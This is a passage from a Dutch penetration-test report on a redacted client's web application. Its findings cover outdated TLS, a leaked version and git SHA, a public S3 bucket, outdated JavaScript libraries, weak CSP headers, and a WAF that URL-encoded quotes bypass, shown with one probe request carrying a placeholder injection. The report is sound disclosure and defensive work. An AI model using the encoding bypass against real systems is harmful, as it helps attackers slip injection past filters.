data-bind="html: ..."te vervangen doortext:in Knockout waar mogelijk; bij rich content: sanitiseer client-side met DOMPurify met strikte allow-list. - CSP hardening — het wordt aanbevolen
unsafe-inlineenunsafe-evalte verwijderen via een nonce-gebaseerde aanpak.
Referenties
- OWASP A03:2025 — Injection: https://owasp.org/Top10/A03_2025-Injection/
- OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- CWE-79: Improper Neutralization of Input During Web Page Generation: https://cwe.mitre.org/data/definitions/79.html
- PortSwigger — Stored XSS: https://portswigger.net/web-security/cross-site-scripting/stored
- DOMPurify: https://github.com/cure53/DOMPurify
TLS Configuratie outdated
| Severity | LOW |
| OWASP | A02:2025 |
| Component | [app.klant.com] |
Vaststellingen
[auth.klant.com]
[app.klant.com]
[auth.klant.com] gebruikt modern QUIC met X25519-sleuteluitwisseling. [app.klant.com] gebruikt TLS 1.2 met RSA-sleuteluitwisseling (ECDHE_RSA) — niet quantum-resistent en zonder Forward Secrecy bij RSA-sessies.
Impact
De TLS-configuratie van [app.klant.com] is vatbaar voor een toekomstgerichte aanval waarbij vandaag onderschept verkeer later kan worden ontsleuteld.
- Harvest Now, Decrypt Later (HNDL) — TLS 1.2 met RSA-sleuteluitwisseling biedt geen Forward Secrecy; onderschept verkeer is ontsleutelbaar zodra quantum-hardware beschikbaar is
- Vertrouwelijke data op risico — productformules, gebruikersdata en sessie-credentials in transit zijn het doelwit
- Achterblijvend t.o.v. eigen infrastructuur —
[auth.klant.com]gebruikt al modern QUIC met X25519;[app]blijft achter
Aanbevelingen
- TLS 1.3 — upgrade
[app]naar TLS 1.3 om Forward Secrecy af te dwingen en statische RSA-sleuteluitwisseling te vermijden - Post-quantum — implementeer hybride post-quantum sleuteluitwisseling (
X25519MLKEM768) op beide hosts - AES-256-GCM — schakel over naar AES-256-GCM voor nieuwe verbindingen als marge tegen Grover’s algoritme
Referenties
- OWASP A02:2025 — Cryptographic Failures: https://owasp.org/Top10/A02_2025-Cryptographic_Failures/
- OWASP TLS Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Security_Cheat_Sheet.html
- NIST Post-Quantum Cryptography (FIPS 203 — ML-KEM): https://csrc.nist.gov/pubs/fips/203/final
- PortSwigger — Harvest Now, Decrypt Later: https://portswigger.net/daily-swig/post-quantum-cryptography-is-it-time-to-worry-about-the-cryptographic-apocalypse
Applicatieversie en git commit SHA zichtbaar in elke geauthenticeerde pagina
| Severity | LOW |
| OWASP | A05:2025 |
| Component | App.Preloaded.FooterData — (qa.)[app.klant.com] |
Vaststellingen
Elke geauthenticeerde pagina-response bevat in het inline App.Preloaded.FooterData-object:
Dit onthult: exacte applicatieversie (10.1.1), volledige git commit SHA (40 tekens), omgevingstype (Q = QA) en build-datum.
Impact
De exacte applicatieversie, de volledige git commit SHA en de build-datum staan op elke geauthenticeerde pagina — zonder enig gebruiksnut voor de eindgebruiker.
- Gerichte CVE-lookup — met
10.1.1als exacte versie zijn gericht kwetsbaarheden opzoekbaar zonder exploratieve verkenning - Codebase-exposure — de git SHA geeft directe toegang tot de exacte productie-codebase als de repository ooit publiek was of wordt
- Omgevingsidentificatie — het
Q-label onthult dat QA-verkeer van productie te onderscheiden is, wat gerichte omgevingsselectie mogelijk maakt
Aanbevelingen
- Verwijder uit FooterData — verwijder
AdditionalInfo(SHA, versie, build-label) uitApp.Preloaded.FooterData; versie-informatie hoort in server-side logging of een beheerdersdashboard, niet in de client-response
Referenties
- OWASP A05:2025 — Security Misconfiguration: https://owasp.org/Top10/A05_2025-Security_Misconfiguration/
- CWE-200: Exposure of Sensitive Information: https://cwe.mitre.org/data/definitions/200.html
- PortSwigger — Information disclosure: https://portswigger.net/web-security/information-disclosure
WAF Input Filtering — URL-encoding bypass
| Severity | MEDIUM |
| OWASP | A05:2025 |
| Component | (qa.)[app.klant.com] |
Vaststellingen
De WAF (vermoedelijk [WAF] — visid_incap_* cookies) blokkeert payloads met een letterlijke quote (', ") maar laat URL-encoded equivalenten ongehinderd passeren:
%27(enkele quote) — niet gefilterd%22(dubbele quote) — niet gefilterd
De applicatie-server decodeert vóór verwerking, waardoor de payload alsnog in originele vorm in de applicatie-context terechtkomt.
Bevestiging %22-bypass op de id-parameter (double-quoted JS-context):
GET /en/Product.mvc/Detail?id=42%22%3BINJECT%3B%22
Server-response (HTTP 200, geen WAF-blokkering):
Twee [WAF]-profielen actief ([waf-session-1] en [waf-session-2]). Beide laten de %22-bypass door.
Impact
De WAF biedt een schijnbeveiliging — URL-encoded payloads passeren zonder blokkering en alle onderliggende XSS-kwetsbaarheden blijven volledig exploiteerbaar.
- Geen effectieve bescherming —
%22en%27passeren ongehinderd; de applicatieserver decodeert vóór verwerking zodat de payload in originele vorm aankomt - Beide aanvalsketens bevestigd — ModificationStock en FormulaAccess zijn succesvol uitgevoerd met URL-encoded payloads
- Vals gevoel van veiligheid — het bestaan van de WAF kan de prioriteit voor applicatielaag-fixes onterecht verlagen
Aanbevelingen
- WAF normalisatie — schakel URL-decoding in vóór patroonvergelijking op WAF-niveau (Imperva normalisatie-opties expliciet activeren)
- Defense in depth — los de onderliggende XSS-kwetsbaarheden op in de applicatielaag via input-validatie en output-encoding; de WAF is een aanvullende laag, geen vervanging
Referenties
- OWASP A05:2025 — Security Misconfiguration: https://owasp.org/Top10/A05_2025-Security_Misconfiguration/
- OWASP Input Validation Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html
- CWE-116: Improper Encoding or Escaping of Output: https://cwe.mitre.org/data/definitions/116.html
- Imperva — WAF Normalization Settings: https://docs.imperva.com/bundle/cloud-application-security/page/rules/normalization.htm
Data exposure via publiek toegankelijke AWS S3-bucket
| Severity | INFO |
| OWASP | A01:2025 |
| Component | [data.klant.com] |
Vaststellingen
De S3-bucket [data.klant.com] is publiek toegankelijk zonder authenticatie. Directory listing stond aan — 98 GB aan bestanden was volledig inzichtelijk, waaronder productformules van [PARTNER-A] en [PARTNER-B] en een SQL-buildscript.
Gevonden via een request naar [api.klant.com] die de domeinnaam [klant.com] blootlegde.
Impact
Een publiek toegankelijke S3-bucket met 98 GB aan productformules, integratie-data en een SQL-buildscript was volledig inzichtelijk zonder authenticatie.
- Databasestructuur blootgelegd — het SQL-buildscript legt het schema bloot en verlaagt de drempel voor gerichte aanvallen
- Directory listing — de volledige inhoudsopgave van 98 GB gaf een aanvaller een volledig beeld van beschikbare data
- Restrisico na mitigatie — directe S3-toegang is geblokkeerd, maar via [CDN] zijn bekende paden mogelijk nog bereikbaar (zie statusupdate)
Aanbevelingen
Overweeg noodzaak publieke toegang — stel de vraag of
[data.klant.com]überhaupt publiek bereikbaar moet zijn; als de data enkel door interne of geauthenticeerde processen wordt gebruikt, trek dan de publieke toegang volledig in — ook op CDN-niveauMinimaliseer de inhoud — verwijder bestanden zonder actieve functie, met name het SQL-buildscript en verouderde formule-exports; bewaar enkel wat functioneel noodzakelijk publiek bereikbaar moet zijn
Schakel directory listing uit — al gemitigeerd op S3-niveau; verifieer dat ook [CDN] geen listing toelaat op enige prefix of path
CDN-audit op bekende paden — een aanvaller die de originele listing heeft gezien, kent de exacte bestandspaden; inventariseer welke paden via [CDN] nog een
200retourneren en blokkeer of beveilig gevoelige bestanden expliciet
Statusupdate — gedeeltelijk gemitigeerd (2026-05-07)
| Aspect | Originele bevinding | Huidige status |
|---|---|---|
| Directe S3-toegang | Publiek (200 + listing) | 403 Forbidden ✓ |
| Directory listing | Zichtbaar | Niet zichtbaar ✓ |
| CDN-proxy ([CDN]) | Niet aanwezig | Actief — S3 via x-amz-* headers bevestigd |
| Bekende paden via CDN | N/v.t. | index.html retourneert 200 |
S3-bucket nu in eu-west-1, directe toegang geblokkeerd. [CDN] serveert de inhoud. Directory listing verwijderd. Restrisico: specifieke bestandspaden die bekend zijn bij een aanvaller (uit de originele listing) kunnen via de CDN nog steeds bereikbaar zijn. Ernst aangepast van Low naar Info.
Referenties
- AWS Documentation - Blocking public access to your Amazon S3 storage https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html
- OWASP S3 Bucket Security Cheat Sheet https://cheatsheetseries.owasp.org/cheatsheets/S3_Bucket_Security_Cheat_Sheet.html
- PortSwigger: Cloud storage security https://portswigger.net/web-security/cloud-storage
Gebruik van kwetsbare en verouderde JavaScript-bibliotheken in masterjs
| Severity | MEDIUM |
| OWASP | A06:2025 |
| Component | masterjs — [qa.app.klant.com] |
Vaststellingen
masterjs laadt vijf verouderde en kwetsbare JavaScript-bibliotheken (2012–2016), alle End-of-Life:
| Bibliotheek | Versie | Relevante CVE’s |
|---|---|---|
| jQuery | 1.7.2 (2012) | Prototype pollution (CVE-2019-11358), XSS via .html(), .append() (CVE-2020-11022/23) |
| Bootstrap | 3.1.1 (2014) | XSS via data-* attributen (CVE-2019-8331, CVE-2024-6485) |
| Underscore.js | 1.8.3 (2015) | Code-injectie via template-functie (CVE-2021-23358) |
| Moment.js | 2.9.0 (2015) | ReDoS (CVE-2016-4055, CVE-2017-18214) |
| Select2 | 4.0.3 (2016) | Script-executie via invoer (CVE-2016-10744) |
Impact
Vijf JavaScript-bibliotheken uit 2012–2016 met bekende CVE’s draaien in elke browser die [APP] opent — publieke exploits zijn direct beschikbaar.
- XSS via jQuery en Bootstrap — CVE-2020-11022/23 en CVE-2019-8331 zijn direct relevant in combinatie met de aanwezige XSS-kwetsbaarheden in de applicatie
- Code-injectie via Underscore.js — CVE-2021-23358 laat code-injectie toe via de template-functie, afhankelijk van hoe de applicatie templates rendert
- ReDoS via Moment.js — CVE-2016-4055 en CVE-2017-18214 kunnen leiden tot denial-of-service via speciaal geformateerde datumstrings
- Geen patches meer beschikbaar — alle vijf bibliotheken zijn End-of-Life; toekomstige kwetsbaarheden worden niet meer gedicht
Aanbevelingen
- Het wordt aanbevolen jQuery te updaten naar 3.x, Bootstrap naar 5.x, en de overige libraries naar ondersteunde versies.
- Overweeg
npm auditof Snyk toe te voegen aan de CI/CD-pipeline voor automatische dependency-scanning. - Aanbevolen wordt Moment.js te vervangen door de browser-native
IntlAPI om de afhankelijkheid volledig te elimineren.
Referenties
- OWASP A06:2025 — Vulnerable and Outdated Components: https://owasp.org/Top10/A06_2025-Vulnerable_and_Outdated_Components/
- OWASP Dependency-Check: https://owasp.org/www-project-dependency-check/
- Snyk — jQuery 1.7.2: https://security.snyk.io/package/npm/jquery/1.7.2
- CVE-2021-23358 (Underscore.js): https://nvd.nist.gov/vuln/detail/CVE-2021-23358
- CVE-2020-11022 (jQuery): https://nvd.nist.gov/vuln/detail/CVE-2020-11022
Onveilige CSP-configuratie en inconsistente caching-headers
| Severity | MEDIUM |
| OWASP | A05:2025 |
| Component | [qa.app.klant.com] / [qaauth.klant.com] |
Vaststellingen
Drie afzonderlijke header-problemen op de hosts binnen scope:
1. CSP onveilig — [qa.app.klant.com]
script-src 'self' 'unsafe-inline' 'unsafe-eval'
style-src 'unsafe-inline'
connect-src ... http:
unsafe-inline en unsafe-eval maken de XSS-bescherming van de CSP volledig onwerkzaam.
2. CSP niet afgedwongen — [qaauth.klant.com] (authenticatieportaal)
Content-Security-Policy-Report-Only: script-src 'self' 'unsafe-inline' 'unsafe-eval' ...
Report-Only logt schendingen maar blokkeert niets. Op een loginpagina biedt dit geen bescherming.
3. Tegenstrijdige Cache-Control — [qa.app.klant.com]
Cache-Control: public, no-store, max-age=0
public en no-store zijn tegenstrijdig — hoe caches hiermee omgaan is ongedefinieerd.
Impact
Drie header-misconfiguraties zorgen samen voor een CSP die geen XSS tegenhoudt, een loginpagina zonder scriptblokkering, en ongedefinieerd cache-gedrag voor sessiedata.
- CSP onwerkzaam —
unsafe-inlineenunsafe-evalinscript-srcmaken de volledige XSS-bescherming van de CSP ongeldig op[app] - Authenticatieportaal onbeschermd —
Report-Onlyop[qaauth.klant.com]logt schendingen maar blokkeert niets; script-injectie op de loginpagina verloopt ongehinderd - Sessiedata in cache — de tegenstrijdige
public, no-store-header kan ertoe leiden dat sessie-specifieke responses in een gedeelde cache worden opgeslagen
Aanbevelingen
- Het wordt aanbevolen de CSP van
[qaauth.klant.com]over te schakelen vanReport-OnlynaarContent-Security-Policy. - Aanbevolen wordt
unsafe-inlineenunsafe-evaluit beide CSP’s te verwijderen en te migreren naar een nonce- of hash-gebaseerde whitelist. - Het wordt aanbevolen
connect-srcte beperken tot expliciete HTTPS-domeinen enhttp:te verwijderen. - Overweeg Cache-Control eenduidig te maken:
no-storevoor sessie-pagina’s,public, max-age=Nvoor statische assets.
Referenties
- OWASP A05:2025 — Security Misconfiguration: https://owasp.org/Top10/A05_2025-Security_Misconfiguration/
- OWASP CSP Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html
- MDN — Content-Security-Policy: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy
- MDN — Cache-Control: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control
- PortSwigger — CSP: https://portswigger.net/web-security/cross-site-scripting/content-security-policy